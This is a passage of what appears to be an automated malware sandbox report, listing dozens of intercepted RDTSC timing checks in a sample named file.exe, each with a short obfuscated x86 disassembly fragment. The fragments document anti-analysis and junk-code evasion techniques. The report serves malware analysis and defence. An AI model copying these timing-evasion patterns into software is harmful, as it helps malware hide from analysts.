0x00000055 ret 0x00000056 call 00007EFF30CD38FDh 0x0000005b mov si, CF97h 0x0000005f pop ecx 0x00000060 xchg eax, ebx 0x00000061 push eax 0x00000062 push edx 0x00000063 jmp 00007EFF30CD3908h 0x00000068 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7CF1F2 second address: 7CF206 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007EFF30E2BC50h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7CF2EB second address: 7CF307 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop eax 0x00000005 pop edi 0x00000006 push eax 0x00000007 push eax 0x00000008 push edx 0x00000009 pushad 0x0000000a jmp 00007EFF30CD38FFh 0x0000000f pushad 0x00000010 popad 0x00000011 popad 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7CF307 second address: 7CF345 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007EFF30E2BC4Eh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov eax, dword ptr [esp+04h] 0x0000000d jmp 00007EFF30E2BC58h 0x00000012 mov eax, dword ptr [eax] 0x00000014 jo 00007EFF30E2BC54h 0x0000001a push eax 0x0000001b push edx 0x0000001c je 00007EFF30E2BC46h 0x00000022 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7CF345 second address: 7CF35E instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 pop ebx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 mov dword ptr [esp+04h], eax 0x0000000a pushad 0x0000000b jmp 00007EFF30CD38FAh 0x00000010 push eax 0x00000011 push edx 0x00000012 pushad 0x00000013 popad 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7CF35E second address: 7CF362 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7CF537 second address: 7CF57C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 je 00007EFF30CD38F6h 0x0000000a popad 0x0000000b jns 00007EFF30CD38F8h 0x00000011 push edx 0x00000012 pop edx 0x00000013 popad 0x00000014 push eax 0x00000015 jmp 00007EFF30CD3905h 0x0000001a nop 0x0000001b mov ecx, dword ptr [ebp+122D357Ch] 0x00000021 push 00000000h 0x00000023 mov dx, cx 0x00000026 push CD29160Bh 0x0000002b push edi 0x0000002c pushad 0x0000002d jnc 00007EFF30CD38F6h 0x00000033 push eax 0x00000034 push edx 0x00000035 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7CF57C second address: 7CF5E0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pop edi 0x00000006 add dword ptr [esp], 32D6EA75h 0x0000000d jmp 00007EFF30E2BC4Eh 0x00000012 push 00000003h 0x00000014 mov dword ptr [ebp+122D2E6Ch], eax 0x0000001a push 00000000h 0x0000001c push 00000000h 0x0000001e push ebx 0x0000001f call 00007EFF30E2BC48h 0x00000024 pop ebx 0x00000025 mov dword ptr [esp+04h], ebx 0x00000029 add dword ptr [esp+04h], 0000001Dh 0x00000031 inc ebx 0x00000032 push ebx 0x00000033 ret 0x00000034 pop ebx 0x00000035 ret 0x00000036 mov edi, dword ptr [ebp+122D2B79h] 0x0000003c push 00000003h 0x0000003e push edx 0x0000003f mov dword ptr [ebp+122D2235h], ecx 0x00000045 pop esi 0x00000046 push A0F3FFE2h 0x0000004b pushad 0x0000004c push eax 0x0000004d push edx 0x0000004e pushad 0x0000004f popad 0x00000050 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7CF5E0 second address: 7CF5E9 instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 pop ecx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push ecx 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7C211F second address: 7C2125 instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 pop ecx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7ED892 second address: 7ED896 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7EDF1B second address: 7EDF3C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edi 0x00000005 jmp 00007EFF30E2BC56h 0x0000000a push eax 0x0000000b push edx 0x0000000c push esi 0x0000000d pop esi 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7EDF3C second address: 7EDF40 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7EE5AF second address: 7EE5B7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push eax 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7EE5B7 second address: 7EE5D7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007EFF30CD3901h 0x00000009 pop eax 0x0000000a popad 0x0000000b jc 00007EFF30CD3928h 0x00000011 pushad 0x00000012 push eax 0x00000013 push edx 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7EE5D7 second address: 7EE5FB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jng 00007EFF30E2BC46h 0x0000000a jmp 00007EFF30E2BC50h 0x0000000f js 00007EFF30E2BC46h 0x00000015 popad 0x00000016 push eax 0x00000017 push eax 0x00000018 push edx 0x00000019 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7EE5FB second address: 7EE601 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7E66C2 second address: 7E66CF instructions: 0x00000000 rdtsc 0x00000002 je 00007EFF30E2BC46h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a pushad 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7C3C29 second address: 7C3C45 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007EFF30CD3908h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7C3C45 second address: 7C3C4B instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 pop esi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7EF0D0 second address: 7EF0D7 instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 pushad 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7F0D52 second address: 7F0D56 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7F0D56 second address: 7F0D5F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7C0606 second address: 7C060C instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7C060C second address: 7C0610 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7C0610 second address: 7C0616 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7C0616 second address: 7C0636 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 push edx 0x0000000a pushad 0x0000000b jp 00007EFF30CD38F6h 0x00000011 jmp 00007EFF30CD38FDh 0x00000016 push eax 0x00000017 push edx 0x00000018 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7C0636 second address: 7C063E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push ebx 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7C063E second address: 7C0645 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 pop ebx 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7F3B5D second address: 7F3B67 instructions: 0x00000000 rdtsc 0x00000002 jo 00007EFF30E2BC46h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7F3CDD second address: 7F3D22 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push esi 0x00000004 pop esi 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 jmp 00007EFF30CD38FFh 0x0000000e mov eax, dword ptr [esp+04h] 0x00000012 jl 00007EFF30CD390Dh 0x00000018 jmp 00007EFF30CD3907h 0x0000001d mov eax, dword ptr [eax] 0x0000001f push eax 0x00000020 push edx 0x00000021 push eax 0x00000022 push edx 0x00000023 jc 00007EFF30CD38F6h 0x00000029 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7F3D22 second address: 7F3D2C instructions: 0x00000000 rdtsc 0x00000002 js 00007EFF30E2BC46h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7F3D2C second address: 7F3D49 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007EFF30CD3909h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7F3D49 second address: 7F3D75 instructions: 0x00000000 rdtsc 0x00000002 je 00007EFF30E2BC46h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a pop edx 0x0000000b pop eax 0x0000000c mov dword ptr [esp+04h], eax 0x00000010 push eax 0x00000011 push edx 0x00000012 push edi 0x00000013 jmp 00007EFF30E2BC58h 0x00000018 pop edi 0x00000019 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7F3E55 second address: 7F3E59 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7F746B second address: 7F746F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7F746F second address: 7F749D instructions: 0x00000000 rdtsc 0x00000002 jns 00007EFF30CD38F6h 0x00000008 push edx 0x00000009 pop edx 0x0000000a pop edx 0x0000000b pop eax 0x0000000c push eax 0x0000000d push edx 0x0000000e jl 00007EFF30CD3910h 0x00000014 pushad 0x00000015 popad 0x00000016 jmp 00007EFF30CD3908h 0x0000001b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7BB49B second address: 7BB49F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7BB49F second address: 7BB4B4 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jp 00007EFF30CD38F6h 0x0000000a jmp 00007EFF30CD38FBh 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7BB4B4 second address: 7BB4E7 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007EFF30E2BC58h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pushad 0x0000000a jmp 00007EFF30E2BC52h 0x0000000f pushad 0x00000010 popad 0x00000011 push eax 0x00000012 push edx 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7FDC4C second address: 7FDC59 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edi 0x00000005 push eax 0x00000006 push edx 0x00000007 jc 00007EFF30CD38F6h 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7FDC59 second address: 7FDC5D instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7FDDC7 second address: 7FDDD0 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushad 0x00000004 popad 0x00000005 push edx 0x00000006 pop edx 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7FE0ED second address: 7FE100 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007EFF30E2BC4Bh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pushad 0x0000000a push eax 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7FEC1A second address: 7FEC34 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007EFF30CD3905h 0x00000009 popad 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7FEE5B second address: 7FEE61 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7FEE61 second address: 7FEE65 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7FF9C2 second address: 7FF9C8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7FF9C8 second address: 7FF9E6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 jmp 00007EFF30CD3907h 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7FF9E6 second address: 7FF9EA instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7FFAB2 second address: 7FFAB8 instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 pop ebx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7FFE62 second address: 7FFE79 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007EFF30E2BC4Ch 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push eax 0x0000000b push edx 0x0000000c push eax 0x0000000d push edx 0x0000000e pushad 0x0000000f popad 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7FFE79 second address: 7FFE7F instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7FFE7F second address: 7FFE95 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007EFF30E2BC52h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7FFFA9 second address: 7FFFB3 instructions: 0x00000000 rdtsc 0x00000002 js 00007EFF30CD38FCh 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 80046F second address: 800489 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ecx 0x00000005 pop edx 0x00000006 push eax 0x00000007 push eax 0x00000008 push edx 0x00000009 pushad 0x0000000a jmp 00007EFF30E2BC4Dh 0x0000000f push edi 0x00000010 pop edi 0x00000011 popad 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 800C47 second address: 800C4D instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 801702 second address: 801707 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ebx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 80281B second address: 802821 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 802A52 second address: 802ABC instructions: 0x00000000 rdtsc 0x00000002 jc 00007EFF30E2BC59h 0x00000008 jmp 00007EFF30E2BC53h 0x0000000d pop edx 0x0000000e pop eax 0x0000000f mov dword ptr [esp], eax 0x00000012 push 00000000h 0x00000014 push edx 0x00000015 call 00007EFF30E2BC48h 0x0000001a pop edx 0x0000001b mov dword ptr [esp+04h], edx 0x0000001f add dword ptr [esp+04h], 00000019h 0x00000027 inc edx 0x00000028 push edx 0x00000029 ret 0x0000002a pop edx 0x0000002b ret 0x0000002c add dword ptr [ebp+122D22F3h], edx 0x00000032 movzx esi, ax 0x00000035 push 00000000h 0x00000037 pushad 0x00000038 pushad 0x00000039 sub dword ptr [ebp+12463428h], eax 0x0000003f mov edi, eax 0x00000041 popad 0x00000042 jno 00007EFF30E2BC48h 0x00000048 popad 0x00000049 push 00000000h 0x0000004b mov edi, eax 0x0000004d xchg eax, ebx 0x0000004e pushad 0x0000004f push eax 0x00000050 push edx 0x00000051 push eax 0x00000052 push edx 0x00000053 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 802ABC second address: 802AC0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 802AC0 second address: 802ADC instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jmp 00007EFF30E2BC4Ah 0x0000000b popad 0x0000000c push eax 0x0000000d push eax 0x0000000e push edx 0x0000000f push eax 0x00000010 push edx 0x00000011 jnc 00007EFF30E2BC46h 0x00000017 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 802ADC second address: 802AE6 instructions: 0x00000000 rdtsc 0x00000002 jbe 00007EFF30CD38F6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8034C4 second address: 8034CE instructions: 0x00000000 rdtsc 0x00000002 jl 00007EFF30E2BC46h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 803282 second address: 803290 instructions: 0x00000000 rdtsc 0x00000002 je 00007EFF30CD38F6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push eax 0x0000000b push edx 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 803290 second address: 803294 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 80404F second address: 804055 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 803DFA second address: 803E05 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edi 0x00000005 pop edi 0x00000006 popad 0x00000007 push eax 0x00000008 push edx 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 803E05 second address: 803E09 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 804926 second address: 80493D instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jmp 00007EFF30E2BC52h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 805823 second address: 805827 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 805827 second address: 805869 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 nop 0x00000007 call 00007EFF30E2BC4Eh 0x0000000c pushad 0x0000000d sub ecx, 24566D97h 0x00000013 sub cl, 0000006Fh 0x00000016 popad 0x00000017 pop esi 0x00000018 push 00000000h 0x0000001a jl 00007EFF30E2BC4Bh 0x00000020 push 00000000h 0x00000022 jg 00007EFF30E2BC4Ch 0x00000028 xor dword ptr [ebp+1246624Bh], edx 0x0000002e push eax 0x0000002f pushad 0x00000030 push eax 0x00000031 push edx 0x00000032 push eax 0x00000033 push edx 0x00000034 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 805869 second address: 80586D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 806065 second address: 80606C instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push edi 0x00000004 pop edi 0x00000005 push eax 0x00000006 push edx 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8089B9 second address: 8089BE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edi 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8089BE second address: 8089C3 instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8089C3 second address: 8089CF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop esi 0x00000005 pop edx 0x00000006 pop eax 0x00000007 push eax 0x00000008 pushad 0x00000009 pushad 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8089CF second address: 8089DD instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 js 00007EFF30E2BC46h 0x0000000a popad 0x0000000b push eax 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8089DD second address: 808A4F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop eax 0x00000005 popad 0x00000006 nop 0x00000007 push 00000000h 0x00000009 push ecx 0x0000000a call 00007EFF30CD38F8h 0x0000000f pop ecx 0x00000010 mov dword ptr [esp+04h], ecx 0x00000014 add dword ptr [esp+04h], 00000018h 0x0000001c inc ecx 0x0000001d push ecx 0x0000001e ret 0x0000001f pop ecx 0x00000020 ret 0x00000021 pushad 0x00000022 mov edx, 2387D0B2h 0x00000027 mov ecx, dword ptr [ebp+12463428h] 0x0000002d popad 0x0000002e push 00000000h 0x00000030 push 00000000h 0x00000032 push edx 0x00000033 call 00007EFF30CD38F8h 0x00000038 pop edx 0x00000039 mov dword ptr [esp+04h], edx 0x0000003d add dword ptr [esp+04h], 00000017h 0x00000045 inc edx 0x00000046 push edx 0x00000047 ret 0x00000048 pop edx 0x00000049 ret 0x0000004a push ebx 0x0000004b mov bh, FDh 0x0000004d pop ebx 0x0000004e push 00000000h 0x00000050 xor di, D0D7h 0x00000055 push eax 0x00000056 jng 00007EFF30CD38FAh 0x0000005c mov di, 33B6h 0x00000060 pop edi 0x00000061 push eax 0x00000062 pushad 0x00000063 push eax 0x00000064 push edx 0x00000065 push eax 0x00000066 pop eax 0x00000067 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 808A4F second address: 808A53 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 808A53 second address: 808A65 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 jmp 00007EFF30CD38FAh 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 809909 second address: 80990D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 80990D second address: 809913 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 809ACB second address: 809AD2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 popad 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 80B8C4 second address: 80B8C8 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 80B8C8 second address: 80B8D6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 push eax 0x00000008 push eax 0x00000009 push edx 0x0000000a push eax 0x0000000b push edx 0x0000000c pushad 0x0000000d popad 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 80AB75 second address: 80ABE8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 popad 0x00000006 mov dword ptr [esp], eax 0x00000009 mov dword ptr [ebp+1244FEB1h], esi 0x0000000f push dword ptr fs:[00000000h] 0x00000016 mov bx, ax 0x00000019 mov dword ptr [ebp+122D2E4Ah], eax 0x0000001f mov dword ptr fs:[00000000h], esp 0x00000026 mov eax, dword ptr [ebp+122D08E1h] 0x0000002c and ebx, 287C2961h 0x00000032 push FFFFFFFFh 0x00000034 sub dword ptr [ebp+122D3C18h], ebx 0x0000003a nop 0x0000003b pushad 0x0000003c jmp 00007EFF30CD3905h 0x00000041 jmp 00007EFF30CD38FDh 0x00000046 popad 0x00000047 push eax 0x00000048 pushad 0x00000049 push eax 0x0000004a jmp 00007EFF30CD38FCh 0x0000004f pop eax 0x00000050 push eax 0x00000051 push edx 0x00000052 pushad 0x00000053 popad 0x00000054 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 80B8D6 second address: 80B8DC instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
